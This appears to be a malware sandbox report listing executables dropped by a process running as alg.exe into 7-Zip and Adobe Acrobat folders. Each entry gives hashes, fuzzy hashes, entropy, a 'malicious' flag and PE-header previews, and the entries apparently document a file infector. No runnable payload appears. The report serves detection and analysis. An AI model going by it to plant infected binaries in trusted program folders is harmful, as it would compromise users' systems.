MD5:	559ECA024339219D34EB10C9702A8693
SHA1:	CF534AE9B97BB6AA5F13DC4A0744CBE0D1854A66
SHA-256:	97FACE9329F6731E52C0DF3288A793F399B199E8B11350467FB14A73D8564811
SHA-512:	01B29C1E654D47561C65560CBB44A13463C4C86DD3DAD11608C0395BF01B6B6EAD0EB03FCB619E1EF08773A839B50D494910D2D740B41A6E71F1A29E5B6F7AD2
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......R...$.................@.............................`"........... .................................................h&..................`....................$..........................(....p..8............,...............................text...FQ.......R.................. ..`.rdata.......p.......V..............@..@.data...4#...`.......<..............@....pdata..`............J..............@..@.00cfg..(............d..............@..@.tls.................f..............@....voltbl.*............h.................._RDATA...............j..............@..@.rsrc................l..............@..@.reloc...`...........t..............@...........................................................................................................................................................................................................................

C:\Program Files\7-Zip\7z.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1839616
Entropy (8bit):	5.248864989092378
Encrypted:	false
SSDEEP:	24576:j+gkEHfh4CoV/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:6gkE/SrLNiXicJFFRGNzj3
MD5:	6887E38961F22E88A34C949F7459F67C
SHA1:	2CBCF2ADCAC3C3C15C91D8A2A9263F137F23086A
SHA-256:	89571D703662E6E4F6AF866065FDFA671EC11354B48DD3E87F1FCC32A718894F
SHA-512:	59FBB923C54FAD1195081ACFC44CE21854EDB6857ED85AB067838CFCDB6B40F9443BD31B20AB884CF9C53014ED9C150D3007DB81DB89BE866E7D4D7D9737CBA6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............xaX.xaX.xaX...X.xaX...X.xaX.x`XlxaX...X.xaX..eY.xaX...X.xaX`.bY.xaX...X.xaX...X.xaXRich.xaX........................PE..d....\.d.........."...........................@..............................0'.....T..... .....................................................x............@...q......................................................................0............................text...v........................... ..`.rdata..T...........................@..@.data....-..........................@....pdata...q...@...r..................@..@.rsrc................j..............@..@.reloc...`...........r..............@...........................................................................................................................................................................................................................................................

C:\Program Files\7-Zip\7zFM.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1532416
Entropy (8bit):	7.091681483048874
Encrypted:	false
SSDEEP:	24576:hBpDRmi78gkPXlyo0GtjrC/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:zNRmi78gkPX4o0GtjWLNiXicJFFRGNzb
MD5:	B67DA787514847EEA9CA26653FF9C559
SHA1:	F5FA7E94058BB29D1C9CF41CA07953FB5D1036F2
SHA-256:	BD9A40456545531E5B062C721A4E42F66E6104AF9B199F7A07AE529690A89069
SHA-512:	04C2407A8FD511E6C548B58391216FDEDA1DC9C3CDA7B289D7A3D0E1D048336D7A31C2AD32DA16C84CDAF6253204EE90E55CFCE61D17220BBB6596BFCF97587D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\..2..2..2.0.\..2..I..2..3..2..O..2..\.D.2...6..2.._..2..N..2..J..2.Rich.2.........................PE..d....\.d.........."......b...8......Pi........@......................................A.... .................................................P................... .......................................................................(.......@....................text....a.......b.................. ..`.rdata...i.......j...f..............@..@.data...............................@....pdata.. ...........................@..@.rsrc...............................@..@.reloc...............r..............@...........................................................................................................................................................................................................................................................

C:\Program Files\7-Zip\7zG.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1282048
Entropy (8bit):	7.222615058611022
Encrypted:	false
SSDEEP:	24576:bLOS2oTPIXVV/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:F/TuLNiXicJFFRGNzj3
MD5:	5C9077A0F742A120359F7DD432587A37
SHA1:	BDA7DDE4220D7C87FE02D45124150AEB1F010BD8
SHA-256:	7C0EF174BBF04F97ABAD9E750F0549D82C9539969F58397D5F1F48C6E88B6543
SHA-512:	4A8E931DB732C6A769496DED12C136602068349D03DE5B9061C0FD844695B1723D31DB17639A4C7B0B29F304E35EC258F75CE12D368FFB3B97E34F7359E52AB8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......;.VS.y8..y8..y8...C.jy8..y9..y8...E.}y8...V..y8.i.<.~y8...U.ky8...;.~y8...D.~y8...@.~y8.Rich.y8.........PE..d....\.d.........."......&..........."........@.....................................U..... ..............................................................d...........................................................................@...............................text...4$.......&.................. ..`.rdata..Ts...@...t...*..............@..@.data...83..........................@....pdata..............................@..@.rsrc....d.......f...:..............@..@.reloc..............................@...........................................................................................................................................................................................................................................................................

C:\Program Files\7-Zip\Uninstall.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1300992
Entropy (8bit):	4.534775240804601
Encrypted:	false
SSDEEP:	24576:etL/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:WLNiXicJFFRGNzj3
MD5:	A8ABF6EDDB2CEA829F2E7EA4C144448A
SHA1:	E3560D89524C723EAF14B9828BCFAA4B9825B18F
SHA-256:	68FEB7036218DAAFBA1C1ED8CB48A878C07B11AEE078DF0EEEF3560ED61CC065
SHA-512:	DD2694801FDA5B740132724DEA710BDDFD0FF71931D62DDD08C07C3F2885BDBD7D857F7B224F816DDBE615906BE9F6B4E0ED6174FD751845F679DBB9E84F7579
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S.6...X...X...X.x.R...X..V...X.x.\...X......X...Y.W.X......X.!.R...X...^...X.Rich..X.................PE..L...pN.d........../..........@......f!.......0....@.........................................................................$9.......`...............................................................................0...............................text............................... ..`.rdata.......0......................@..@.data...X....@.......(..............@....rsrc....p...`.......*..............@...........................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1222656
Entropy (8bit):	6.702462257734072
Encrypted:	false
SSDEEP:	24576:KAdzA/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:KAdkLNiXicJFFRGNzj3
MD5:	7B9AFA5E9D43435F12C6B8A99F5BD2E5
SHA1:	2AEA5D0E49BA2B1746E14F3043E3A84498F6FBA3
SHA-256:	FDBA635772CC6AD63D954479C2FED78872A5A226318DA5D441BF0CDC743C7227
SHA-512:	79AAD4E3EB653C753902C861080C9AFADAF68D694BAF1B39901954F8A31140F5D42679F8D1310AA3BCAA492D1A72125B9E894812532DAC3884AB2A4759D07951
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........U...4.F.4.F.4.F.LEF.4.FE@.G.4.FE@.G.4.FE@.G.4.FE@.G.4.F._.G.4.F.4.F%4.FG@.G.4.FG@)F.4.F.4AF.4.FG@.G.4.FRich.4.F................PE..d......d.........."......6.....................@...................................._..... .....................................................\|....P..h........9.....................p.......................(...P...8............P...............................text....4.......6.................. ..`.rdata..>....P.......:..............@..@.data...............................@....pdata...9.......:..................@..@.rsrc...h....P......................@..@.reloc..............................@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1613312
Entropy (8bit):	4.680223768503617
Encrypted:	false
SSDEEP:	12288:mvaiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:x/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	E45A362F276104E1DAAB433F48156A8A
SHA1:	71C32C032E6656C3A898B55F6A253A9F73B5E585
SHA-256:	31BBEECB481366A610D26E1215ACE5B01C44171E0BB8C82425783525DF0EE614
SHA-512:	F1A72855C2BA5B16E3FD17ABD56EC59D15904C5B8C67CB88F3F6F085197402A292F8424DF3DD83640F3EC9457B85B9B38AAF1FF28EA67917D2387B7D4BFBB9EF
Malicious:	true
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......]../...\|...\|...\|B..}...\|B..}...\|...}...\|..S\|...\|..}=..\|..}...\|..}...\|..}...\|..=\|...\|o..\|...\|B..}...\|...\|...\|..}...\|..Q\|...\|..9\|...\|..}...\|Rich...\|................PE..d......d.........."......H...........&.........@..............................#........... .................................................@...,....@..........4......................T.......................(...@...8............`...............................text....G.......H.................. ..`.rdata.......`.......L..............@..@.data...............................@....pdata..4...........................@..@.CRT....@....0......................@..@.rsrc........@......................@..@.reloc...`...P......................@...................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1616896
Entropy (8bit):	5.046903230249877
Encrypted:	false
SSDEEP:	24576:15zhM1XScJ/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:xMsYLNiXicJFFRGNzj3
MD5:	850681BE1BB0BA306F8ED72B243E0259
SHA1:	29E49C5F78CF492592E057885920995C8DAB6FC4
SHA-256:	9D7892AC7635F4888859F4B6EE55A2E816EC74FF550EFC3FD2EB472E84530E97
SHA-512:	CA2D433D2ACDB662C88078ADEE9F06726D4603638E6DED90118591DD1187EDBCBBAFFEBFC76953279B64622C6D1409AFA2B697BFE3EAAE451FCAE61D6E68B08E
Malicious:	true
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.........<$.Rw.Rw.Rw...w..Rw5.Vv.Rw5.Qv.Rw5.Sv.Rw7.Sv.Rw..Vv.Rw..Tv.Rw..Sv..Rw.Sw..Rw5.Wv.Rw.t/w.Rw.t?w..Rw7.Wv.Rw7.Vv.Rw7.w.Rw..w.Rw7.Pv.RwRich.Rw........PE..d......d.........."..........z......@..........@..............................#........... ................................................. A...................+......................T.......................(.......8............................................text............................... ..`.rdata..............................@..@.data....d...`...\...T..............@....pdata...+.......,..................@..@.rsrc............0..................@..@.reloc...`...0......................@...........................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4151808
Entropy (8bit):	6.49776541657033
Encrypted:	false
SSDEEP:	49152:XtuUC0nNc/RcYHCY9AWWnURqdHIEogMAYrukdUmSC+bXMZQU1QqpN755KLNiXico:XjEIa4HIEWOc5k7wRGpj3
MD5:	4D865F79744D514AC32837ADEEC4B996
SHA1:	BAEFA5E2A405B8E4A78947F248C9F38B61FC385A
SHA-256:	B5CF96800D3642D88D4878054FD4632D2B695E9FCD4D85D8938E23D7140D0BBA
SHA-512:	08942BF94B5A8868F1A555048FCE29CDE6F7C7B47D24E3C65377B267559126B5D7737C6564DCCACBF87ABE9F930943350C25D0BC812B897A5CB43396F2331800
Malicious:	true
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$........x...............r.......r.......r.......v$.....>m......>m......>m.......r...............r..............<m......<m......<m&.......N.....<m......Rich............................PE..d...<..d.........."......:....................@............................. @.......?... .........................................0.%.......%......0)......p'.......................!.T.....................!.(....s .8............P......l.%......................text....8.......:.................. ..`.rdata.......P.......>..............@..@.data....D... &.......&.............@....pdata.......p'.......&.............@..@.didat........).......(.............@..._RDATA....... ).......(.............@..@.rsrc........0).......(.............@..@.reloc...@....6..0...*6.............@...................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	59941376
Entropy (8bit):	7.999360368555996
Encrypted:	true
SSDEEP:	1572864:bQb5m2CYw2bheyHA2DiAVPNqCPiQwm9tqGWS15Vj9QVqd2+NAs:MXhwMhe6AABPiQwF6xQ22R
MD5:	CB69171F929B8395DA760FF1CC678E81
SHA1:	012FDC2CF4080334D29BB45F8101FFE69220EB9C
SHA-256:	3A58124554222C05672A4E9C2C87225403D96BCD06BC5CDD4C1FD0D654C98C3F
SHA-512:	52B34DAB3E98F0A983EB3CBD137948E042F988D7557A456FCDDEDB35536C69469FBA7207001AE091644D03522E84053ACD248E493FB8BC79A3463BB8B175E81D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......;......J...J...Jk.Kt..Jk.Kl..Jk.K..J..Kn..J..Ku..J..K+..Jk.Kt..J...J..J..Kf..J..Kt..J..@J~..J..(J}..J..K~..JRich...J................PE..d...z..d..........".................3.........@.............................0......u..... .....................................................x....`.........06..................8%..T....................&..(...Pg..8............ ......@...@....................text............................... ..`.rdata...}... ...~..................@..@.data...TS..........................@....pdata..06.......8..................@..@.didat..x....@......................@..._RDATA.......P......................@..@.rsrc.......`.....................@..@.reloc.......@.....................@...................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1335808
Entropy (8bit):	4.59703667732787
Encrypted:	false
SSDEEP:	12288:DWiiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:DB/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	9564914DEB62771A7B56301571754E63
SHA1:	566C82932C8B4DF37419428D8EB51100C73FF10B
SHA-256:	B12EDEE266C57C93E4FFA7D59EE367BCA9E37BA4A941DFD013A471367637CA66
SHA-512:	99A06E1CB39E160CBDC25AF361A7EE7C97629358C7C798F69258D24C542FE3C95285F3C62F4990C02C5F817E65E1EA17D44B6378526DE38986C70169B63CFB67
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........e....b..b..b.\|...b.epf..b.epa..b.epg..b.epc..b.oc..b..c.2.b.gpg..b.gp...b.....b.gp`..b.Rich..b.................PE..d...R..d.........."......l...Z.......m.........@.............................P............ .....................................................\|.......p.......@.......................T.......................(.......8............................................text...>k.......l.................. ..`.rdata..J:.......<...p..............@..@.data...............................@....pdata..@...........................@..@.rsrc...p...........................@..@.reloc...`..........................@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6210048
Entropy (8bit):	6.385266347205349
Encrypted:	false
SSDEEP:	49152:FDvZEaFVUn+Dpasot2xQevgjCGT7lmPIionqOgBhGl6zVLkVEk3yV07U24GEQTXp:2nN9KfxLk6GEQTX5UKzNDj7wRGpj3
MD5:	7BA783D7E21217AA8A0CCC859AD381FD
SHA1:	D0224267BC842C979DF2990D89E21C544E1852B7
SHA-256:	2BF70E249660DEFDEC8EF1DDC510A1BA89E01757A8F60EFCF6D536DD40E44A26
SHA-512:	F56692DDF5C7467B62B1D4FDE8ACF961688EC71F0347E8E81FFE3C5AB3AF764F24ADA555A1B98342E4A5FDCB2376A8F7E0400AE0BB32D5E6D6F1801290E3D837
Malicious:	true
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......;..j...9...9...9k..8r..9k..8...9...8l..9...8t..9..p9\|..9...9...9...8...9k..8\..9k..8}..9k..8n..9...9...9...8Y..9...8~..9..r9~..9...9\|..9...8~..9Rich...9........................PE..d......d.........."......V4..,"......L(........@.............................._.......^... ..........................................<F.\|....EF.x....0K..V...@H......................n;.T....................o;.(....:.8............p4..... .F.`....................text...,T4......V4................. ..`.rdata..@....p4......Z4.............@..@.data...l.....F......nF.............@....pdata.......@H......vG.............@..@.didat.. .....K......>J.............@..._RDATA....... K......HJ.............@..@.rsrc....V...0K..X...JJ.............@..@.reloc...0....V.. ....U.............@...................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1312768
Entropy (8bit):	4.548414199244964
Encrypted:	false
SSDEEP:	12288:MNiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:MR/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	382F5FBA917C4D46C80ECE7C380BC9C4
SHA1:	22CDDDCC03A7C6CE25C921394E657ED8DDB0B834
SHA-256:	617855F43D692113D203E3232BFA3F5B11E88C1492499638B6921C06A6857758
SHA-512:	5A132E9DA0B722BB9754A77759940118ED556FB5E54E7B381EBBF0374B355648CC735451B358DE687BBAF3167B23BC87C3586A0BC5A0C37DD184574C869B955F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<.tKx...x...x...q..t.......c.......r.......{.......~...l...}...x...........\|.......y...x...y.......y...Richx...................PE..d......d.........."..........>.......0.........@....................................\|9.... .................................................lV..........h...........................PI..T....................K..(....I..8............@...............................text....,.......................... ..`.rdata..4"...@...$...2..............@..@.data........p.......V..............@....pdata...............X..............@..@.rsrc...h............\..............@..@.reloc...`...........h..............@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12039168
Entropy (8bit):	6.595970860172969
Encrypted:	false
SSDEEP:	98304:zb+MzPstUEHInwZk3RBk9DdhgJCudq1uVIyESYgK67wRGpj3:/nPgTHIwZoRBk9DdhSUEVIXgKuF9
MD5:	46086B50CD4BD078673FAF2993BA4C04
SHA1:	8952989AF1120939EF394C0E777481ABB8695DFB
SHA-256:	9E0E7461EC368DA566653DB28044138E1BBA05E86D61DC0B27255416781FF361
SHA-512:	F96130950EE83245C42D7CB6AF64F64EB83DBED52C128EBFE771745D6C6077D0772B7BB553D52796123A330234019E1513470D9BF8A735D4ADE071B1B27C1FA1
Malicious:	true
Preview:	MZ......................@...................................H...........!..L.!This program cannot be run in DOS mode....$.......&.w.bb..bb..bb..v...lb..v...b.....qb.....hb......ab......b..E.t.Vb..E.d.jb.....ib......b..v...\|b..v...cb.....`..bb..}b..v...Ab..bb..,`.....b.....cb.....cb..bb..`b.....cb..Richbb..........PE..d......d..........".........../.....0.F........@....................................!A.... ............................................\...,..h........G......Lz..................P..T......................(......8...........................................text............................... ..`.rdata..f. .......!.................@..@.data..............................@....pdata..Lz.......\|.................@..@.didat...............X..............@..._RDATA...............Z..............@..@.rsrc....G.......H...\..............@..@.reloc... .........................@...........................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1478144
Entropy (8bit):	4.82988798990539
Encrypted:	false
SSDEEP:	24576:4g5FvCPWsK/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:dfFlLNiXicJFFRGNzj3
MD5:	2AFB3ABA87E435BF69DEBDF4AE72103C
SHA1:	9C84351A13B5B5DE2D89FB384802DF63646D51E6
SHA-256:	989B71C5A933510D6F325C518A2D4AFE2486B663FDA630BA7F1C7F026E261638
SHA-512:	9F07330E806751B68A6A19002265C4CB76EE51E79AB68542A06DE7C47A20F5120441D13B681A29911DAAAD58F77ECC85A18177FDF278F44B4E5300857FBEF53F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ z.A...A...A...9...A..O5...A..O5...A..O5...A..O5...A...*...A...A...@..M5...A..M5.A...A...A..M5...A..Rich.A..................PE..d......d.........."..........b.................@..............................!........... .................................................X...h....p..p....P..t.......................T.......................(.......8............................................text...,........................... ..`.rdata.............................@..@.data........@.......&..............@....pdata..t....P......................@..@.rsrc...p....p.......B..............@..@.reloc...`... ......................@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1339904
Entropy (8bit):	7.202707280618732
Encrypted:	false
SSDEEP:	24576:xjKTIsAjFuvtIfmFthMaT5U8aChaeuI/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:xjIMmPh7TT79tLNiXicJFFRGNzj3
MD5:	460AE272A34F8D039D57A9FE6F3B99BC
SHA1:	19C3A82E4120D418D416C0010FAE894FBE8B68E3
SHA-256:	609A841BAAEA378A63C233849156F0CAAC7DC49594837D3AC1087B70E6CB4E29
SHA-512:	1A8E19DF460EE6C13C8B4F3C07FE80E7BC1D4CDB881C766FEA729D87600D788F0B579724B9FD9550A1F93107F5C46C775949E9B9F0F5090EF90DCC3D6BE73E15
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$......................................s...X............................[....U=....................h...n......n.Y.....1....n......Rich...........PE..d......c..........".................0i.........@..............................$......@.... .................................................H...d............@..Tx......................p...................`...(...`................................................text............................... ..`.rdata..@...........................@..@.data....>......."..................@....pdata..Tx...@...z..................@..@.rsrc................z..............@..@.reloc..............................@...................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1671168
Entropy (8bit):	5.008246687338626
Encrypted:	false
SSDEEP:	24576:WGqVwCto1em5Wgc/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:jZ1emUTLNiXicJFFRGNzj3
MD5:	6EF88C6252312083586B97F312381193
SHA1:	ADFAABECDCF5AD2E26A35BD58027CE09707F6691
SHA-256:	8510CA535C850D3F1C72B2496182F863B192D430B3340D4D26389FBED3A52DDE
SHA-512:	FA0C85ED7E996BCFD9A2E01543F540869BD505B140F6EB5A5E82370EFF16B88C252BE7C9A0008F115C04BF711DF2803769D966DD814CD6498157BEDE00262E6C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................v......................................a..X.....X........r....X.....Rich...........PE..d......c.........."............................@..............................$.....\|..... .................................................. ...........v..............................p.......................(....................0...............................text............................... ..`.rdata..Z$...0...&..................@..@.data...x"...`.......@..............@....pdata...............L..............@..@.rsrc....v.......v...j..............@..@.reloc...`...0......................@...................................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1409024
Entropy (8bit):	4.690535801155243
Encrypted:	false
SSDEEP:	24576:XWBWZ/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:PLNiXicJFFRGNzj3
MD5:	487101849E63613682E2D107A9B93879
SHA1:	2E156500F55763DCE5C7AA4432A0C60959FB1C08
SHA-256:	378CE7091E56F5D24DAF1E9E7B99369D98CC7D2A99744485A38630DF227D8074
SHA-512:	EF5C0F485AE2DDA5F0E9D044E65F5001C3405BF70FFCE52CF5296E611F57AC4A1B904A801501442D798CF8DE1C66BC88E8EE1B3D7BFADD850DFB034316B10702
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1.v.Pc%.Pc%.Pc%.(.%.Pc%C$g$.Pc%C$`$.Pc%C$f$.Pc%C$b$.Pc%.;g$.Pc%.;b$.Pc%.Pb%EPc%z$f$.Pc%z$.%.Pc%.P.%.Pc%z$a$.Pc%Rich.Pc%................PE..d...DC,d.........."............................@.............................p ........... .................................................h...@.......@............................Q..T....................S..(... R..8............0...............................text............................... ..`.rdata..$....0......................@..@.data...............................@....pdata..............................@..@.rsrc...@...........................@..@.reloc...`..........................@...........................................................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1683968
Entropy (8bit):	7.2235185344991795
Encrypted:	false
SSDEEP:	49152:U+GtCi27mVTyT+a0vLNiXicJFFRGNzj3:vmd2787wRGpj3
MD5:	6C3AF6FEB852D854862C1D20FBDF8C49
SHA1:	DB03E87D435657014E3C246E541DD852CC186533
SHA-256:	0CAD4ACCB6825967096267FE169C5F20198D307AB99EEBB86EB99937CAD7B174
SHA-512:	D3B8E3544D87AB5FFEEB4C5A0CAE4D701F8FBC659FA411CE41380EABEC98972ABBE52334F3BD40F5F2A288D2F343BA46E662250BAF09CF1AD3A652AA65FBA6CC
Malicious:	true
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........ ..N...N...N......N.e.K...N...O...N...J...N...M...N...H...N...K...N...#...N.<~3...N..C3...N...O...N...O.O.N...F...N.......N......N...L...N.Rich..N.................PE..d...%..c.........."......j...t......@..........@.....................................%.... .................................................x........... ....p..dt......................p.......................(... ...8............................................text...kh.......j.................. ..`.rdata...............n..............@..@.data...`S.......F..................@....pdata..dt...p...v...D..............@..@.rsrc... ...........................@..@.reloc..............................@...........................................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3110912
Entropy (8bit):	6.648184174883114
Encrypted:	false
SSDEEP:	49152:WU198PzqkltcT0gViJNfBZQiOIK5Ns6YZ82PTJeYELNiXicJFFRGNzj3:r2NfHOIK5Ns6qR9+7wRGpj3
MD5:	291005E2D9DFA3C68CCE5F890F79477D
SHA1:	3705192B7345C2AFBC5F26F760EF7568F1DB89C5
SHA-256:	96446B6FB87A49F13D2E357A6AE7816D4EEB555B5C36F5B2E274BAC95D578FE2
SHA-512:	DD8547B9055D0DE8A180BFF3D7B46217EFEBB724A9D1F8986BBD97C99817BD64F357E4379E9186DA36CEA0530ED1707B901830FA87406D8ECFC8E8D8DF28E589
Malicious:	true
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......'A3rc ]!c ]!c ]!..!h ]!..!. ]!..!x ]!1UY r ]!1U^ i ]!.O.!a ]!..!g ]!..!b ]!1UX . ]!..!@ ]!.UX . ]!c \!.!]!.UT . ]!.U.!b ]!c .!b ]!.U_ b ]!Richc ]!................PE..d.....Zd..........".................t..........@..............................0.....h./... ..................................................o .......&......$.`....................x..p....................y..(....)..8....................j .@....................text............................... ..`.rdata..8...........................@..@.data....q.... ..<...r .............@....pdata..`.....$.......#.............@..@_RDATA........&.......%.............@..@.rsrc........&.......%.............@..@.reloc...@....&..0...H&.............@...................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1743872
Entropy (8bit):	5.13992020505382
Encrypted:	false
SSDEEP:	24576:HkDWTUQcydM/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:HqKUHLNiXicJFFRGNzj3
MD5:	3F309A47C39180C8E00EF881F903E5EF
SHA1:	B13ADFA9D6D81770102EE0C7050705AAF4AF39EE
SHA-256:	57E49B88EAD79198BA538FDB370FDC20166850A1A32D5301B90EBC0248832A1D
SHA-512:	56493BB743518FD0BF539614323FAD3423113812F28BEC8B948B8248D3961A4CC0177F9A7F566B926FCC277DB2E11662CC5F51B4CD727D886F27C3321D0E9FA2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........0I..Q'..Q'..Q'..7#..Q'..7$..Q'..7".!Q'..$#..Q'..$$..Q'..7&..Q'..$"..Q'.x$"..Q'..Q&.dQ'.x$...Q'.x$...Q'..Q...Q'.x$%..Q'.Rich.Q'.........................PE..d.....Zd.........."......,..........(?.........@..............................%.....5S.... .................................................(...P................m..................tC..p...........................p...8............@..........@....................text....+.......,.................. ..`.rdata......@.......0..............@..@.data....)..........................@....pdata...m.......n..................@..@_RDATA...............B..............@..@.rsrc................D..............@..@.reloc...p...@......................@...................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1494016
Entropy (8bit):	4.901005135484685
Encrypted:	false
SSDEEP:	24576:7I+qB//TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:M+4LNiXicJFFRGNzj3
MD5:	6B6A3378AA7E44E4E813A1F4C7892FCF
SHA1:	9973C763B98A23D626D8E5D274A6924AE396B2CE
SHA-256:	B5920902ED1CA0F51751659B09C92DE079C1FE29312CAA237BA29583AF80C919
SHA-512:	0FF050B1E124FDCFCEF02C279FDC3F9CF8005EF40572EE195FA091F7AADCC5B0676BA0BAEDA598E757930113F96A85DEBEB33F861244ACCC78861FB497183EDB
Malicious:	true
